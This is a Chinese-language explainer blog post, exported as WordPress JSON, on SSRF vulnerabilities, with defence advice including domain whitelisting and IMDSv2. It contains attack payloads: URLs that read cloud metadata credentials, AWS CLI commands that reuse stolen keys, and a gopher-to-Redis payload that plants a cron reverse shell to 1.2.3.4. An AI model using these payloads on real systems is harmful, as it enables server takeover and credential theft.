{"id":23430,"date":"2025-04-19T07:47:39","date_gmt":"2025-04-18T23:47:39","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/23430.html"},"modified":"2025-04-19T07:47:39","modified_gmt":"2025-04-18T23:47:39","slug":"%e9%bb%91%e5%ae%a2%e5%a6%82%e4%bd%95%e7%94%a8%e4%b8%80%e5%bc%a0%e5%9b%be%e7%89%87%e6%8e%8f%e7%a9%ba%e4%bd%a0%e7%9a%84%e6%9c%8d%e5%8a%a1%e5%99%a8%ef%bc%9f%e6%8f%ad%e7%a7%98ssrf%e6%bc%8f%e6%b4%9e","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/23430.html","title":{"rendered":"\u9ed1\u5ba2\u5982\u4f55\u7528\u4e00\u5f20\u56fe\u7247\u638f\u7a7a\u4f60\u7684\u670d\u52a1\u5668\uff1f\u63ed\u79d8SSRF\u6f0f\u6d1e\u7684\u81f4\u547d\u9677\u9631"},"content":{"rendered":"<p>SSRF&#xff08;\u670d\u52a1\u5668\u7aef\u8bf7\u6c42\u4f2a\u9020&#xff09;\u6f0f\u6d1e\u5df2\u6210\u4e3a\u9ed1\u5ba2\u653b\u51fb\u7684\u91cd\u8981\u624b\u6bb5\u4e4b\u4e00\u3002\u901a\u8fc7\u5229\u7528\u8fd9\u4e00\u6f0f\u6d1e&#xff0c;\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u53d1\u9001\u7279\u5236\u7684\u8bf7\u6c42&#xff0c;\u83b7\u53d6\u670d\u52a1\u5668\u5185\u90e8\u7684\u654f\u611f\u4fe1\u606f&#xff0c;\u751a\u81f3\u5b8c\u5168\u63a7\u5236\u670d\u52a1\u5668\u3002\u672c\u6587\u5c06\u6df1\u5165\u63a2\u8ba8SSRF\u6f0f\u6d1e\u7684\u5de5\u4f5c\u539f\u7406&#xff0c;\u4ee5\u53ca\u9ed1\u5ba2\u5982\u4f55\u5229\u7528\u4e00\u5f20\u56fe\u7247\u6765\u5b9e\u65bd\u653b\u51fb&#xff0c;\u63ed\u793a\u8fd9\u4e00\u81f4\u547d\u9677\u9631\u7684\u672c\u8d28\u3002<\/p>\n<h4>\u5f00\u7bc7\u6545\u4e8b&#xff1a;\u4e00\u5f20\u201c\u5408\u6cd5\u8bf7\u6c42\u201d\u5f15\u53d1\u7684\u6570\u636e\u707e\u96be<\/h4>\n<p>\u67d0\u7535\u5546\u5e73\u53f0\u5141\u8bb8\u7528\u6237\u4e0a\u4f20\u5934\u50cf&#xff0c;\u6280\u672f\u5c0f\u54e5\u8d34\u5fc3\u8bbe\u8ba1\u4e86\u201c\u667a\u80fdURL\u68c0\u6d4b\u201d\u2014\u2014\u81ea\u52a8\u6293\u53d6\u7528\u6237\u63d0\u4f9b\u7684\u7f51\u7edc\u56fe\u7247\u7528\u6765\u751f\u6210\u7f29\u7565\u56fe\u3002<\/p>\n<p>\u4e00\u5468\u540e&#xff0c;\u5e73\u53f0\u6570\u636e\u5e93\u795e\u79d8\u6d88\u5931\u3002\u8c03\u67e5\u53d1\u73b0&#xff0c;\u9ed1\u5ba2\u4e0a\u4f20\u7684\u5934\u50cfURL\u7adf\u662fhttp:\/\/169.254.169.254\/latest\/meta-data\/&#xff08;AWS\u5143\u6570\u636e\u63a5\u53e3&#xff09;&#xff0c;\u76f4\u63a5\u8bfb\u53d6\u670d\u52a1\u5668\u5bc6\u94a5&#xff0c;\u8f7b\u677e\u63a5\u7ba1\u6574\u4e2a\u4e91\u73af\u5883&#xff01;<\/p>\n<p>\u5e55\u540e\u9ed1\u624b&#xff1a;SSRF&#xff08;\u670d\u52a1\u7aef\u8bf7\u6c42\u4f2a\u9020&#xff09;\u6f0f\u6d1e\u2014\u2014\u8ba9\u670d\u52a1\u5668\u6210\u4e3a\u9ed1\u5ba2\u7684\u201c\u63d0\u7ebf\u6728\u5076\u201d\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418234736-6802e498dd316.png\" alt=\"\u901a\u8fc7SSRF\u5229\u7528\u7684\u653b\u51fb\u5e8f\u5217\" \/><\/p>\n<h4>\u4e00\u3001\u5c0f\u767d\u79d1\u666e&#xff1a;\u4ec0\u4e48\u662fSSRF&#xff1f;<\/h4>\n<p>SSRF&#xff08;Server-Side Request Forgery&#xff09;\u5373\u670d\u52a1\u7aef\u8bf7\u6c42\u4f2a\u9020&#xff0c;\u653b\u51fb\u8005\u8bf1\u9a97\u670d\u52a1\u5668\u5411\u975e\u9884\u671f\u76ee\u6807\u53d1\u8d77HTTP\u8bf7\u6c42&#xff0c;\u8fdb\u800c&#xff1a;<\/p>\n<ul>\n<li>\u7a7f\u900f\u9632\u706b\u5899&#xff1a;\u8bbf\u95ee\u5185\u7f51\u654f\u611f\u7cfb\u7edf<\/li>\n<li>\u7a83\u53d6\u4e91\u51ed\u8bc1&#xff1a;\u83b7\u53d6AWS\/Aliyun\u5143\u6570\u636e<\/li>\n<li>\u653b\u51fb\u7b2c\u4e09\u65b9&#xff1a;\u4ee5\u670d\u52a1\u5668\u4e3a\u8df3\u677f\u626b\u63cf\u5916\u7f51<\/li>\n<\/ul>\n<p>SSRF&#xff08;\u670d\u52a1\u7aef\u8bf7\u6c42\u4f2a\u9020&#xff09;\u5c31\u50cf\u4e00\u4e2a\u201c\u542c\u8bdd\u4f46\u7f3a\u5fc3\u773c\u201d\u7684\u673a\u5668\u4eba&#xff1a;<\/p>\n<ul>\n<li>\n<p>\u4f60\u7684\u6307\u4ee4&#xff1a;\u201c\u5e2e\u6211\u53bbA\u5730\u5740\u62ff\u5feb\u9012\u201d<\/p>\n<\/li>\n<li>\n<p>\u9ed1\u5ba2\u7684\u8be1\u8ba1&#xff1a;\u4f2a\u9020\u6307\u4ee4\u53d8\u6210\u201c\u53bbB\u5730\u5740\u5f00\u4fdd\u9669\u7bb1\u201d<\/p>\n<\/li>\n<li>\n<p>\u7ed3\u679c&#xff1a;\u673a\u5668\u4eba\u6beb\u4e0d\u72b9\u8c6b\u5730\u6267\u884c&#xff0c;\u53ea\u56e0\u5b83\u4e0d\u4f1a\u5206\u8fa8\u6307\u4ee4\u662f\u5426\u5408\u7406&#xff01;<\/p>\n<\/li>\n<\/ul>\n<p>\u6280\u672f\u672c\u8d28&#xff1a; \u670d\u52a1\u5668\u672a\u7ecf\u4e25\u683c\u68c0\u67e5&#xff0c;\u76f4\u63a5\u6267\u884c\u7528\u6237\u63d0\u4f9b\u7684URL\u5730\u5740&#xff0c;\u5bfc\u81f4\u88ab\u8bf1\u5bfc\u8bbf\u95ee\u5185\u7f51\u7cfb\u7edf\u3001\u4e91\u5e73\u53f0\u5bc6\u94a5\u5e93\u7b49\u654f\u611f\u533a\u57df\u3002<\/p>\n<h4>\u4e8c\u3001\u6f0f\u6d1e\u539f\u7406&#xff1a;\u4e3a\u4ec0\u4e48\u670d\u52a1\u5668\u4f1a\u201c\u53db\u53d8\u201d&#xff1f;<\/h4>\n<h5>1. \u5178\u578b\u6f0f\u6d1e\u4ee3\u7801&#xff08;PHP\u793a\u4f8b&#xff09;<\/h5>\n<p><span class=\"token comment\">\/\/ \u4ece\u7528\u6237\u8f93\u5165\u83b7\u53d6\u56fe\u7247URL  <\/span><br \/>\n<span class=\"token variable\">$url<\/span> <span class=\"token operator\">&#061;<\/span> <span class=\"token variable\">$_GET<\/span><span class=\"token punctuation\">[<\/span><span class=\"token string single-quoted-string\">&#039;image_url&#039;<\/span><span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">;<\/span>  <\/p>\n<p><span class=\"token comment\">\/\/ \u76f4\u63a5\u8bf7\u6c42URL\u5e76\u8fd4\u56de\u5185\u5bb9  <\/span><br \/>\n<span class=\"token variable\">$image<\/span> <span class=\"token operator\">&#061;<\/span> <span class=\"token function\">file_get_contents<\/span><span class=\"token punctuation\">(<\/span><span class=\"token variable\">$url<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token keyword\">echo<\/span> <span class=\"token string double-quoted-string\">&#034;&lt;img src&#061;&#039;data:image\/png;base64,&#034;<\/span> <span class=\"token operator\">.<\/span> <span class=\"token function\">base64_encode<\/span><span class=\"token punctuation\">(<\/span><span class=\"token variable\">$image<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token operator\">.<\/span> <span class=\"token string double-quoted-string\">&#034;&#039;\/&gt;&#034;<\/span><span class=\"token punctuation\">;<\/span>  <\/p>\n<p>\u81f4\u547d\u95ee\u9898&#xff1a;\u672a\u6821\u9a8c$url\u662f\u5426\u6307\u5411\u5185\u7f51\u6216\u654f\u611f\u534f\u8bae&#xff08;\u5982file:\/\/\/etc\/passwd&#xff09;\u3002<\/p>\n<h5>2. \u8bf7\u6c42\u76ee\u6807\u7c7b\u578b<\/h5>\n<table>\n<tr>\u653b\u51fb\u7c7b\u578b\u793a\u4f8bURL\u5371\u5bb3<\/tr>\n<tbody>\n<tr>\n<td>\u5185\u7f51\u63a2\u6d4b<\/td>\n<td>http:\/\/192.168.1.1\/admin<\/td>\n<td>\u8bbf\u95ee\u8def\u7531\u5668\/\u5185\u90e8\u7ba1\u7406\u7cfb\u7edf<\/td>\n<\/tr>\n<tr>\n<td>\u4e91\u5143\u6570\u636e\u7a83\u53d6<\/td>\n<td>http:\/\/169.254.169.254\/latest\/&#8230;<\/td>\n<td>\u83b7\u53d6\u4e91\u670d\u52a1\u5668AK\/SK\u5bc6\u94a5<\/td>\n<\/tr>\n<tr>\n<td>\u6587\u4ef6\u8bfb\u53d6<\/td>\n<td>file:\/\/\/etc\/passwd<\/td>\n<td>\u6cc4\u9732\u670d\u52a1\u5668\u654f\u611f\u6587\u4ef6<\/td>\n<\/tr>\n<tr>\n<td>\u534f\u8bae\u6ee5\u7528<\/td>\n<td>gopher:\/\/redis:6379\/_&#8230;<\/td>\n<td>\u653b\u51fbRedis\/Memcached\u7b49\u670d\u52a1<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4>\u4e09\u3001\u56db\u5927\u5b9e\u6218\u6848\u4f8b&#xff1a;SSRF\u7684\u82b1\u5f0f\u73a9\u6cd5<\/h4>\n<h5>\u6848\u4f8b1&#xff1a;\u793e\u4ea4\u5e73\u53f0\u5934\u50cf\u4e0a\u4f20\u6f0f\u6d1e<\/h5>\n<ul>\n<li>\u6f0f\u6d1e\u70b9&#xff1a;\u7528\u6237\u5934\u50cf\u652f\u6301\u901a\u8fc7URL\u62c9\u53d6\u7f51\u7edc\u56fe\u7247<\/li>\n<li>\u653b\u51fbPayload&#xff1a;http:\/\/internal-api.company.com\/v1\/getUserData?uid&#061;admin\n <\/li>\n<li>\u7ed3\u679c&#xff1a;\u670d\u52a1\u5668\u4ee3\u53d1\u8bf7\u6c42&#xff0c;\u8fd4\u56de\u5185\u90e8API\u7684\u7ba1\u7406\u5458\u6570\u636e\u3002<\/li>\n<\/ul>\n<p>\u9632\u5fa1\u6f0f\u6d1e\u4ee3\u7801&#xff1a;<\/p>\n<p><span class=\"token comment\"># \u767d\u540d\u5355\u6821\u9a8c\u57df\u540d  <\/span><br \/>\nallowed_domains <span class=\"token operator\">&#061;<\/span> <span class=\"token punctuation\">[<\/span><span class=\"token string\">&#039;cdn.example.com&#039;<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token string\">&#039;img.safe.com&#039;<\/span><span class=\"token punctuation\">]<\/span><br \/>\n<span class=\"token keyword\">if<\/span> urlparse<span class=\"token punctuation\">(<\/span>image_url<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span>hostname <span class=\"token keyword\">not<\/span> <span class=\"token keyword\">in<\/span> allowed_domains<span class=\"token punctuation\">:<\/span><br \/>\n    <span class=\"token keyword\">raise<\/span> Exception<span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;\u975e\u6cd5\u57df\u540d&#xff01;&#034;<\/span><span class=\"token punctuation\">)<\/span>  <\/p>\n<h5>\u6848\u4f8b2&#xff1a;AWS\u5143\u6570\u636e\u6cc4\u9732<\/h5>\n<ul>\n<li>\u653b\u51fb\u6b65\u9aa4&#xff1a;\n<li>\u6784\u9020URL\u8bbf\u95ee\u5143\u6570\u636e\u63a5\u53e3&#xff1a;http:\/\/169.254.169.254\/latest\/meta-data\/iam\/security-credentials\/\n <\/li>\n<li>\u670d\u52a1\u5668\u8fd4\u56de\u4e34\u65f6\u51ed\u8bc1&#xff08;\u542bAccessKey\/SecretKey&#xff09;<\/li>\n<li>\u4f7f\u7528AWS CLI\u63a5\u7ba1\u4e91\u670d\u52a1\u5668&#xff1a;aws configure <span class=\"token builtin class-name\">set<\/span> aws_access_key_id AKIA<span class=\"token punctuation\">..<\/span>.<br \/>\naws s3 <span class=\"token function\">ls<\/span> s3:\/\/company-database\n <\/li>\n<\/li>\n<\/ul>\n<p>\u9632\u5fa1\u5efa\u8bae&#xff1a;\u4e91\u670d\u52a1\u5668\u7981\u7528\u5143\u6570\u636e\u63a5\u53e3\u6216\u542f\u7528IMDSv2&#xff08;\u9700\u643a\u5e26Token&#xff09;\u3002<\/p>\n<h5>\u6848\u4f8b3&#xff1a;PDF\u751f\u6210\u5668\u53d8\u5185\u7f51\u626b\u63cf\u5668<\/h5>\n<ul>\n<li>\u573a\u666f&#xff1a;\u7f51\u7ad9\u63d0\u4f9b\u201c\u7f51\u9875\u8f6cPDF\u201d\u670d\u52a1&#xff0c;\u8f93\u5165URL\u5373\u53ef\u751f\u6210PDF<\/li>\n<li>\u653b\u51fb\u5229\u7528&#xff1a;http:\/\/localhost:8080\/management\/health<br \/>\nhttp:\/\/192.168.11.22:3306\n <\/li>\n<li>\u7ed3\u679c&#xff1a;\u6839\u636e\u54cd\u5e94\u65f6\u95f4\/\u5185\u5bb9\u5224\u65ad\u5185\u7f51\u7aef\u53e3\u5f00\u653e\u60c5\u51b5&#xff0c;\u7ed8\u5236\u5185\u7f51\u5730\u56fe\u3002<\/li>\n<\/ul>\n<p>\u68c0\u6d4b\u5de5\u5177&#xff1a;SSRFmap\u81ea\u52a8\u626b\u63cf\u5185\u7f51\u670d\u52a1\u3002<\/p>\n<h5>\u6848\u4f8b4&#xff1a;Gopher\u534f\u8bae\u653b\u51fbRedis<\/h5>\n<ul>\n<li>\u6f0f\u6d1e\u70b9&#xff1a;\u670d\u52a1\u5668\u652f\u6301gopher:\/\/\u534f\u8bae<\/li>\n<li>\u653b\u51fbPayload&#xff1a;gopher:\/\/redis:6379\/_*2%0d%0a$4%0d%0aAUTH%0d%0a$8%0d%0apassword%0d%0a*3%0d%0a$3%0d%0aSET%0d%0a$5%0d%0ashell%0d%0a$31%0d%0a\\\\n\\\\n*\/1 * * * * \/bin\/bash -i &gt;&amp; \/dev\/tcp\/1.2.3.4\/8080 0&gt;&amp;1\\\\n%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$3%0d%0adir%0d%0a$16%0d%0a\/var\/spool\/cron\/%0d%0a*1%0d%0a$4%0d%0aSAVE%0d%0aquit%0d%0a\n <\/li>\n<li>\u7ed3\u679c&#xff1a;\u901a\u8fc7Redis\u672a\u6388\u6743\u8bbf\u95ee\u5199\u5165\u5b9a\u65f6\u4efb\u52a1&#xff0c;\u83b7\u53d6\u670d\u52a1\u5668\u53cd\u5f39Shell\u3002<\/li>\n<\/ul>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418234737-6802e4997ded6.png\" alt=\"Gopher\u534f\u8bae\u653b\u51fbRedis\u7684\u6d41\u91cf\u89e3\u6790\u56fe\" \/><\/p>\n<h4>\u56db\u3001\u9632\u5fa1\u6307\u5357&#xff1a;4\u62db\u9501\u6b7bSSRF<\/h4>\n<p>\u4e3a\u4e86\u9632\u6b62SSRF\u653b\u51fb&#xff0c;\u5f00\u53d1\u8005\u548c\u7cfb\u7edf\u7ba1\u7406\u5458\u53ef\u4ee5\u91c7\u53d6\u4ee5\u4e0b\u63aa\u65bd&#xff1a;<\/p>\n<ul>\n<li>1. \u8f93\u5165\u9a8c\u8bc1&#xff1a;\u5bf9\u7528\u6237\u8f93\u5165\u8fdb\u884c\u4e25\u683c\u7684\u9a8c\u8bc1\u548c\u8fc7\u6ee4&#xff0c;\u786e\u4fdd\u53ea\u5141\u8bb8\u5408\u6cd5\u7684URL\u548cIP\u5730\u5740\u3002<\/li>\n<li>2. \u9650\u5236\u8bf7\u6c42\u8303\u56f4&#xff1a;\u914d\u7f6e\u670d\u52a1\u5668&#xff0c;\u4f7f\u5176\u53ea\u80fd\u8bbf\u95ee\u7279\u5b9a\u7684\u5185\u90e8\u670d\u52a1&#xff0c;\u963b\u6b62\u5bf9\u654f\u611f\u8d44\u6e90\u7684\u8bbf\u95ee\u3002<\/li>\n<li>3. \u4f7f\u7528\u5b89\u5168\u5e93&#xff1a;\u4f7f\u7528\u7ecf\u8fc7\u5ba1\u67e5\u7684\u5e93\u548c\u6846\u67b6\u6765\u5904\u7406\u7528\u6237\u4e0a\u4f20\u7684\u6587\u4ef6&#xff0c;\u786e\u4fdd\u5b83\u4eec\u4e0d\u4f1a\u6267\u884c\u4e0d\u5b89\u5168\u7684\u64cd\u4f5c\u3002<\/li>\n<li>4. \u76d1\u63a7\u548c\u65e5\u5fd7\u8bb0\u5f55&#xff1a;\u5b9e\u65bd\u76d1\u63a7\u548c\u65e5\u5fd7\u8bb0\u5f55&#xff0c;\u4ee5\u4fbf\u53ca\u65f6\u53d1\u73b0\u5f02\u5e38\u8bf7\u6c42\u548c\u6f5c\u5728\u7684\u653b\u51fb\u884c\u4e3a\u3002<\/li>\n<\/ul>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418234738-6802e49a0b912.png\" alt=\"\" \/><\/p>\n<h4>\u4e94\u3001\u603b\u7ed3&#xff1a;\u522b\u8ba9\u670d\u52a1\u5668\u6210\u4e3a\u9ed1\u5ba2\u7684\u201c\u8089\u9e21\u201d<\/h4>\n<ul>\n<li>\n<p>SSRF\u672c\u8d28&#xff1a;\u4fe1\u4efb\u8fb9\u754c\u5931\u63a7\u2014\u2014\u8fc7\u5ea6\u4fe1\u4efb\u7528\u6237\u8f93\u5165&#xff0c;\u653e\u4efb\u670d\u52a1\u5668\u201c\u4e71\u4ea4\u670b\u53cb\u201d\u3002<\/p>\n<\/li>\n<li>\n<p>\u9632\u62a4\u94c1\u5f8b&#xff1a;<\/p>\n<p>\u2705 \u6240\u6709\u7528\u6237\u8f93\u5165\u90fd\u662f\u201c\u810f\u6570\u636e\u201d \u2705 \u670d\u52a1\u5668\u5bf9\u5916\u8bf7\u6c42\u5fc5\u987b\u201c\u6301\u8bc1\u4e0a\u5c97\u201d \u2705 \u5185\u7f51\u4e0e\u4e91\u670d\u52a1\u9700\u201c\u7269\u7406\u9694\u79bb\u201d<\/p>\n<\/li>\n<li>\n<p>\u4f7f\u7528\u81ea\u52a8\u5316\u5de5\u5177\u626b\u63cfSSRF\u6f0f\u6d1e&#xff1a;<\/p>\n<ul>\n<li>Burp Suite Collaborator<\/li>\n<li>SSRF Sheriff<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>\u6700\u540e\u6311\u6218&#xff1a;<\/p>\n<p>\u6253\u5f00\u4f60\u7684\u9879\u76ee\u4ee3\u7801&#xff0c;\u641c\u7d22file_get_contents\u3001HttpClient\u7b49\u5173\u952e\u8bcd&#xff0c;\u770b\u770b\u662f\u5426\u5b58\u5728\u672a\u6821\u9a8c\u7684URL\u53c2\u6570&#xff1f;\u8bc4\u8bba\u533a\u6652\u51fa\u4f60\u7684\u4ee3\u7801\u5ba1\u8ba1\u7ed3\u679c&#xff01;<\/p>\n<hr \/>\n<p>\u5173\u6ce8\u6211&#xff0c;\u5e26\u4f60\u7528\u201c\u4eba\u8bdd\u201d\u8bfb\u61c2\u6280\u672f\u786c\u6838&#xff01; &#x1f525;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6587\u7ae0\u6d4f\u89c8\u9605\u8bfb803\u6b21\uff0c\u70b9\u8d5e6\u6b21\uff0c\u6536\u85cf23\u6b21\u3002\u901a\u8fc7\u5229\u7528\u8fd9\u4e00\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u53d1\u9001\u7279\u5236\u7684\u8bf7\u6c42\uff0c\u83b7\u53d6\u670d\u52a1\u5668\u5185\u90e8\u7684\u654f\u611f\u4fe1\u606f\uff0c\u751a\u81f3\u5b8c\u5168\u63a7\u5236\u670d\u52a1\u5668\u3002\u672c\u6587\u5c06\u6df1\u5165\u63a2\u8ba8SSRF\u6f0f\u6d1e\u7684\u5de5\u4f5c\u539f\u7406\uff0c\u4ee5\u53ca\u9ed1\u5ba2\u5982\u4f55\u5229\u7528\u4e00\u5f20\u56fe\u7247\u6765\u5b9e\u65bd\u653b\u51fb\uff0c\u63ed\u793a\u8fd9\u4e00\u81f4\u547d\u9677\u9631\u7684\u672c\u8d28\u3002\u67d0\u7535\u5546\u5e73\u53f0\u5141\u8bb8\u7528\u6237\u4e0a\u4f20\u5934\u50cf\uff0c\u6280\u672f\u5c0f\u54e5\u8d34\u5fc3\u8bbe\u8ba1\u4e86\u201c\u667a\u80fdURL\u68c0\u6d4b\u201d\u2014\u2014\u81ea\u52a8\u6293\u53d6\u7528\u6237\u63d0\u4f9b\u7684\u7f51\u7edc\u56fe\u7247\u7528\u6765\u751f\u6210\u7f29\u7565\u56fe\u3002\u670d\u52a1\u5668\u672a\u7ecf\u4e25\u683c\u68c0\u67e5\uff0c\u76f4\u63a5\u6267\u884c\u7528\u6237\u63d0\u4f9b\u7684URL\u5730\u5740\uff0c\u5bfc\u81f4\u88ab\u8bf1\u5bfc\u8bbf\u95ee\u5185\u7f51\u7cfb\u7edf\u3001\u4e91\u5e73\u53f0\u5bc6\u94a5\u5e93\u7b49\u654f\u611f\u533a\u57df\u3002\uff1aSSRF\uff08\u670d\u52a1\u7aef\u8bf7\u6c42\u4f2a\u9020\uff09\u6f0f\u6d1e\u2014\u2014\u8ba9\u670d\u52a1\u5668\u6210\u4e3a\u9ed1\u5ba2\u7684\u201c\u63d0\u7ebf\u6728\u5076\u201d\u3002SSRF\uff08\u670d\u52a1\u7aef\u8bf7\u6c42\u4f2a\u9020\uff09\u5c31\u50cf\u4e00\u4e2a\u201c<\/p>\n","protected":false},"author":2,"featured_media":23427,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[275,1800],"topic":[],"class_list":["post-23430","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-server","tag-web","tag-1800"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>\u9ed1\u5ba2\u5982\u4f55\u7528\u4e00\u5f20\u56fe\u7247\u638f\u7a7a\u4f60\u7684\u670d\u52a1\u5668\uff1f\u63ed\u79d8SSRF\u6f0f\u6d1e\u7684\u81f4\u547d\u9677\u9631 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/23430.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u9ed1\u5ba2\u5982\u4f55\u7528\u4e00\u5f20\u56fe\u7247\u638f\u7a7a\u4f60\u7684\u670d\u52a1\u5668\uff1f\u63ed\u79d8SSRF\u6f0f\u6d1e\u7684\u81f4\u547d\u9677\u9631 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"\u6587\u7ae0\u6d4f\u89c8\u9605\u8bfb803\u6b21\uff0c\u70b9\u8d5e6\u6b21\uff0c\u6536\u85cf23\u6b21\u3002\u901a\u8fc7\u5229\u7528\u8fd9\u4e00\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u53d1\u9001\u7279\u5236\u7684\u8bf7\u6c42\uff0c\u83b7\u53d6\u670d\u52a1\u5668\u5185\u90e8\u7684\u654f\u611f\u4fe1\u606f\uff0c\u751a\u81f3\u5b8c\u5168\u63a7\u5236\u670d\u52a1\u5668\u3002\u672c\u6587\u5c06\u6df1\u5165\u63a2\u8ba8SSRF\u6f0f\u6d1e\u7684\u5de5\u4f5c\u539f\u7406\uff0c\u4ee5\u53ca\u9ed1\u5ba2\u5982\u4f55\u5229\u7528\u4e00\u5f20\u56fe\u7247\u6765\u5b9e\u65bd\u653b\u51fb\uff0c\u63ed\u793a\u8fd9\u4e00\u81f4\u547d\u9677\u9631\u7684\u672c\u8d28\u3002\u67d0\u7535\u5546\u5e73\u53f0\u5141\u8bb8\u7528\u6237\u4e0a\u4f20\u5934\u50cf\uff0c\u6280\u672f\u5c0f\u54e5\u8d34\u5fc3\u8bbe\u8ba1\u4e86\u201c\u667a\u80fdURL\u68c0\u6d4b\u201d\u2014\u2014\u81ea\u52a8\u6293\u53d6\u7528\u6237\u63d0\u4f9b\u7684\u7f51\u7edc\u56fe\u7247\u7528\u6765\u751f\u6210\u7f29\u7565\u56fe\u3002\u670d\u52a1\u5668\u672a\u7ecf\u4e25\u683c\u68c0\u67e5\uff0c\u76f4\u63a5\u6267\u884c\u7528\u6237\u63d0\u4f9b\u7684URL\u5730\u5740\uff0c\u5bfc\u81f4\u88ab\u8bf1\u5bfc\u8bbf\u95ee\u5185\u7f51\u7cfb\u7edf\u3001\u4e91\u5e73\u53f0\u5bc6\u94a5\u5e93\u7b49\u654f\u611f\u533a\u57df\u3002\uff1aSSRF\uff08\u670d\u52a1\u7aef\u8bf7\u6c42\u4f2a\u9020\uff09\u6f0f\u6d1e\u2014\u2014\u8ba9\u670d\u52a1\u5668\u6210\u4e3a\u9ed1\u5ba2\u7684\u201c\u63d0\u7ebf\u6728\u5076\u201d\u3002SSRF\uff08\u670d\u52a1\u7aef\u8bf7\u6c42\u4f2a\u9020\uff09\u5c31\u50cf\u4e00\u4e2a\u201c\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/23430.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2025-04-18T23:47:39+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418234736-6802e498dd316.png\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/23430.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/23430.html\",\"name\":\"\u9ed1\u5ba2\u5982\u4f55\u7528\u4e00\u5f20\u56fe\u7247\u638f\u7a7a\u4f60\u7684\u670d\u52a1\u5668\uff1f\u63ed\u79d8SSRF\u6f0f\u6d1e\u7684\u81f4\u547d\u9677\u9631 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"isPartOf\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\"},\"datePublished\":\"2025-04-18T23:47:39+00:00\",\"dateModified\":\"2025-04-18T23:47:39+00:00\",\"author\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/23430.html#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wsisp.com\/helps\/23430.html\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/23430.html#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.wsisp.com\/helps\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\u9ed1\u5ba2\u5982\u4f55\u7528\u4e00\u5f20\u56fe\u7247\u638f\u7a7a\u4f60\u7684\u670d\u52a1\u5668\uff1f\u63ed\u79d8SSRF\u6f0f\u6d1e\u7684\u81f4\u547d\u9677\u9631\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\",\"url\":\"https:\/\/www.wsisp.com\/helps\/\",\"name\":\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"description\":\"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\